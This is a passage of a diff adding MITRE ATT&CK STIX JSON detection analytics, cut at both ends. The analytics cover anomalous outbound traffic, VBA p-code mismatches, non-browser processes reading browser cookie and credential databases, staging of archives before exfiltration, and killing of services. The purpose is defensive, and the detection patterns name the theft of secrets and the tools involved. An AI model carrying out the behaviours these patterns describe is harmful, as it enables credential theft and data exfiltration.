"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PayloadEntropyThreshold", + "description": "Tunable threshold for Shannon entropy of network payloads." + }, + { + "field": "TimeWindow", + "description": "Duration of outbound data transfer to evaluate disproportionate upload size." + }, + { + "field": "UserContext", + "description": "Filter based on user accounts allowed to generate outbound traffic." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4c7d92bb-4b46-44e4-b070-43c46d3193c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0011#AN0031", + "external_id": "AN0031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0031", + "description": "Outbound traffic with anomalous payload sizes and patterns from non-networking processes, often observed via packet inspection or connection logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve network tools" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "TCP session tracking" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "EntropyScore", + "description": "Adjust based on expected entropy of typical outbound data." + }, + { + "field": "ProcessWhitelist", + "description": "Exclude known good binaries that generate high network output." + }, + { + "field": "DataRatioThreshold", + "description": "Minimum ratio of bytes_sent to bytes_received." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0519edaf-6485-40b2-8b91-13db29fb8cb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0011#AN0032", + "external_id": "AN0032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0032", + "description": "Previously unseen applications generating outbound connections with atypical data flow characteristics, such as excessive data with no return response.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "connection attempts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "session behavior" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessCheck", + "description": "Allow filtering based on parent-child relationship for benign services." + }, + { + "field": "HostWhitelist", + "description": "Known legitimate C2-like patterns (e.g., Apple telemetry)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d3bad85b-9e86-4de8-9e4a-1666133af782", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0011#AN0033", + "external_id": "AN0033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0033", + "description": "Anomalous traffic from ESXi host management daemons (like hostd or vpxa) embedding non-standard payloads in management protocols (e.g., HTTPS) or beaconing behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxi:vmkernel", + "channel": "Network activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:hostd", + "channel": "System service interactions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TLSFingerprintMismatch", + "description": "Detects mismatched TLS client behavior vs expected for hostd/vpxa." + }, + { + "field": "UnusualDestinationPorts", + "description": "Highlight traffic from ESXi hosts to uncommon ports outside vCenter ranges." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0ea214f3-5d66-4170-b33d-58a6577bb074", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0012#AN0034", + "external_id": "AN0034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0034", + "description": "Discrepancies between VBA source code and p-code inside Office documents. Defender perspective: anomalies in file metadata streams, execution of Office processes loading macros without source code consistency, and script execution with no corresponding source metadata.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredExtensions", + "description": "Expand or restrict which Office file types (.docm, .xlsm, .pptm) are flagged for VBA project analysis." + }, + { + "field": "TimeWindow", + "description": "Correlate Office process execution with subsequent script execution within a narrow window." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9f7e5e7-edbf-442b-b4ea-d35455982ba8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0012#AN0035", + "external_id": "AN0035" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0035", + "description": "Execution of Wine or LibreOffice macros with inconsistent VBA metadata. Defender perspective: file analysis showing p-code embedded without matching source streams.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve calls to soffice.bin with suspicious macro execution flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:syslog", + "channel": "Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScannerTooling", + "description": "Choice of OLE/P-code analysis utilities (oletools, pcodedmp, custom disassembler)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--025e89c6-9383-48b5-b9f2-85ab31b6a7bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0012#AN0036", + "external_id": "AN0036" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0036", + "description": "Opening of Office files where VBA source code appears benign or missing, but p-code remains active. Defender perspective: process execution of Office apps with macro execution lacking visible source components.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "Detection of altered _VBA_PROJECT or PerformanceCache streams" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OfficeVersionScope", + "description": "Adjust for specific Office versions in use across macOS endpoints." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c233a50c-0fdb-412b-85f6-8ff71a3539b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0013#AN0037", + "external_id": "AN0037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0037", + "description": "Access to browser artifact locations (e.g., Chrome, Edge, Firefox) by processes like PowerShell, cmd.exe, or unknown tools, followed by file reads, decoding, or export operations indicating enumeration of bookmarks, autofill, or history databases.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetPathRegex", + "description": "Location of browser data folders like %APPDATA%\\Google\\Chrome\\User Data or %APPDATA%\\Mozilla\\Firefox" + }, + { + "field": "ParentProcess", + "description": "Used to exclude known browser maintenance or backup processes" + }, + { + "field": "ScriptBlockPattern", + "description": "Used to detect suspicious PowerShell commands targeting browser data" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4a5abd9c-b4f3-4c29-9406-82aa3401c049", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0013#AN0038", + "external_id": "AN0038" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0038", + "description": "Unauthorized shell or script-based access to browser config or SQLite history files, typically in ~/.config/google-chrome/, ~/.mozilla/, or ~/.var/app folders, indicating enumeration of bookmarks or saved credentials.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read, or stat of browser config files" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "Suspicious script or command execution targeting browser folders" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserProfilePath", + "description": "User-specific browser data folders, e.g., ~/.config/chromium/Default/History" + }, + { + "field": "ShellRegex", + "description": "Shell pattern detecting suspicious access to .sqlite or .json files" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--353e902d-b33c-466b-9276-5f224a259934", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0013#AN0039", + "external_id": "AN0039" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0039", + "description": "Scripting or CLI tool access to ~/Library/Application Support/Google/Chrome or ~/Library/Safari bookmarks, cookies, or history databases. Detection relies on unexpected processes accessing or reading from these locations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "Access to ~/Library/*/Safari or Chrome directories by non-browser processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process reading browser configuration paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BrowserDBPath", + "description": "System-specific paths to browser databases in user Library folders" + }, + { + "field": "NonBrowserProcessList", + "description": "Processes not expected to touch browser DBs (e.g., curl, bash, python)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7cb2010a-e502-4117-94f3-fa3bd8d64a34", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0040", + "external_id": "AN0040" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0040", + "description": "Detects staging of sensitive files into temporary or public directories, compression with 7zip/WinRAR, or batch copy prior to exfiltration.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingDirectoryList", + "description": "Temp folders or user profile staging directories" + }, + { + "field": "CompressionToolList", + "description": "7z.exe, rar.exe, zip.exe paths" + }, + { + "field": "TimeWindow", + "description": "Temporal bounds for detecting batch staging activities" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e9ee76c8-e959-4925-8f93-4b8fb66bc9f1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0041", + "external_id": "AN0041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0041", + "description": "Detects script or user activity copying files to a central temp or /mnt directory followed by archive/compression utilities.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "creat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "StagingDirectoryList", + "description": "e.g., /tmp/, /var/tmp/, /mnt/" + }, + { + "field": "ArchivingCommandPatterns", + "description": "grep for 'tar', 'zip', 'gzip', '7z'" + }, + { + "field": "UserContext", + "description": "Interactive or elevated shells running archiving commands" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--313de6ca-629b-4f77-b58f-5cf7b490a62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0042", + "external_id": "AN0042" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0042", + "description": "Detects files collected into user temp or shared directories followed by compression with ditto, zip, or custom scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "file events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "exec logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CompressionUtilityList", + "description": "e.g., 'ditto', 'zip', 'tar'" + }, + { + "field": "SharedDirectoryIndicators", + "description": "e.g., /Users/Shared/ or /private/tmp/" + }, + { + "field": "ScriptInvocationContext", + "description": "osascript or Terminal automation by non-GUI processes" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e622500c-4217-466c-955c-82ef3217653a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0043", + "external_id": "AN0043" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0043", + "description": "Detects virtual disk expansion or file copy operations to cloud buckets or mounted volumes from isolated instances.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "PutObject, CopyObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "gcp:audit", + "channel": "Write operations to storage" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CloudBucketList", + "description": "Staging bucket or mount point for data" + }, + { + "field": "InstanceTag", + "description": "Behavior restricted to specific ephemeral instances" + }, + { + "field": "ObjectWriteThreshold", + "description": "Volume or size of files pushed in burst" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e59e2d8c-20cb-4a77-9d8b-1d838b01bd87", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0014#AN0044", + "external_id": "AN0044" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0044", + "description": "Detects snapshots or data stored in VMFS volumes from root CLI or remote agents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:vmkernel", + "channel": "VMFS access logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "snapshot create/copy, esxcli" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SnapshotFrequency", + "description": "Number of snapshots in short time period" + }, + { + "field": "AccessUserList", + "description": "Non-admins or automation accounts writing to datastores" + }, + { + "field": "CLIContext", + "description": "Manual or unexpected API calls triggering snapshots" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--16e57a41-f305-4aa7-9125-15272052419e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0015#AN0045", + "external_id": "AN0045" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0045", + "description": "Detects unusual command executions and service modifications that indicate self-patching or disabling of vulnerable services post-compromise. Defenders should monitor for service stop commands, suspicious process termination, and execution of binaries or scripts aligned with known patching or service management tools outside of expected admin contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=5" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceList", + "description": "Tunable list of critical or vulnerable services that defenders want to monitor for unexpected disabling." + }, + { + "field": "TimeWindow", + "description": "Defines correlation window (e.g., 5\u201315 minutes) between suspicious command execution and subsequent process termination." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0a1f9686-4fd6-4719-84ef-7a590d02d1fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0015#AN0046", + "external_id": "AN0046" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0046", + "description": "Detects adversary attempts to monopolize control of compromised systems by issuing service stop commands, unloading vulnerable modules, or forcefully killing competing processes. Defenders should monitor audit logs and syslog for administrative utilities (systemctl, service, kill) being invoked outside of normal change management.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Commands like systemctl stop , service stop, or kill -9 " + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "linux:syslog", + "channel": "Unexpected termination of daemons or critical services not aligned with admin change tickets" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CriticalProcessList", + "description": "Defines specific Linux daemons and processes that should not be terminated outside maintenance windows." + }, + { + "field": "AdminUserContext", + "description": "Defines expected accounts permitted to execute service stop commands; deviations may be suspicious." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f84124d2-8bc6-4dae-a579-f0ddb0338a2f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0015#AN0047", + "external_id": "AN0047" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0047", + "description": "Detects unauthorized termination of system daemons or commands issued through launchctl or kill to stop competing services or malware processes. Defenders should monitor unified logs and EDR telemetry for unusual service modifications or terminations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "launchctl unload, kill, or pkill commands affecting daemons or background services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "macos:osquery", + "channel": "process_termination: Unexpected termination of processes tied to vulnerable or high-value services" + } + ], + "x_mitre_modified_by_ref": 